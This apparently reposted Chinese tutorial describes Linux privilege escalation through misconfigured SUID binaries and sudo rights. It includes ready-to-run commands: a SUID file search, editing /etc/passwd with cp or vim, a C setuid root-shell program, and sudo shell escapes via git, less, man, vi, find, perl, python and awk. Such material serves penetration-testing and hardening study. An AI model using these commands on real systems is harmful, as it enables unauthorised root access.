0


常用Linux提权(非漏洞)

非漏洞提权是利用对系统的不正确配置导致的提权,区别于基于漏洞的提权方式。

一.SUID提权

当以下命令具有SUID权限时,时非常危险的。

Note:

1.SUID只能设置二进制可执行文件

2.命令执行者要有该文件的执行权限

3.命令执行者执行二进制文件时会获得程序的属主身份

4.SUID权限只在程序执行过程中有效

给一个二进制文件赋予可执行权限(需要在root用户执行):

chmod u+s "文件"

查找具有suid权限的文件:

find / -perm -u=s -type f 2>/dev/null

1.利用cp提权

可以将/etc/passwd复制出来进行编辑,然后复制回/etc/passwd,非常容易利用。

2.利用vim提权

利用vim编辑/etc/passwd添加用户,或者编辑/etc/sudoers即可提权。

3.利用find提权

find可以添加-exec参数来对查找的结果进行处理,

find "一个已经存在的文件" -exec "whoami" ;

Note:

1.必须是一个已经存在的文件,命令才能执行成功。

2.-exec命令需要以;结尾,但是;在bash中有特殊含义(代表代码块的结束),需要转义。

4.当自定义可执行文件具有SUID权限时提权

编译如下文件并添加SUID权限,在普通用户下执行该文件即可获得root的shell。

#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>

int main()
{
        setuid(geteuid());
        system("/bin/bash");
        return 0;
}

Note:

上述SUID提权只是一部分并不全面,如需更多SUID提权详细信息可以参考如下链接GTFOBins 。

二、sudo命令提权

当sudoers文件中某些用户包含某些命令的sudo权限时,可能导致提权问题发生。

sudo -l

查看当前用户有哪些sudo权限

1.git

sudo git help config

执行!/bin/bash 可以直接提权成功,less、man同理。

sudo less 文件,然后执行!bash。

sudo man man,然后执行!bash。

sudo vi,然后执行!bash。此时注意需要先输入冒号才能进入交互模式。

2.find

sudo find test -exec "/bin/bash" \;

3.perl

sudo perl -e 'exec "/bin/bash";'

4.python

sudo python -c 'import pty;pty.spawn("/bin/bash")'

5.awk

sudo awk 'BEGIN {system("bash")}'

另外,当某些二进制文件具有sudo权限时,也会导致提权。

标签: linux 运维 服务器

本文转载自: https://blog.csdn.net/Thegentlest/article/details/126626786
版权归原作者 Thegentlest 所有, 如有侵权,请联系我们删除。

“常用Linux提权(非漏洞)”的评论:

还没有评论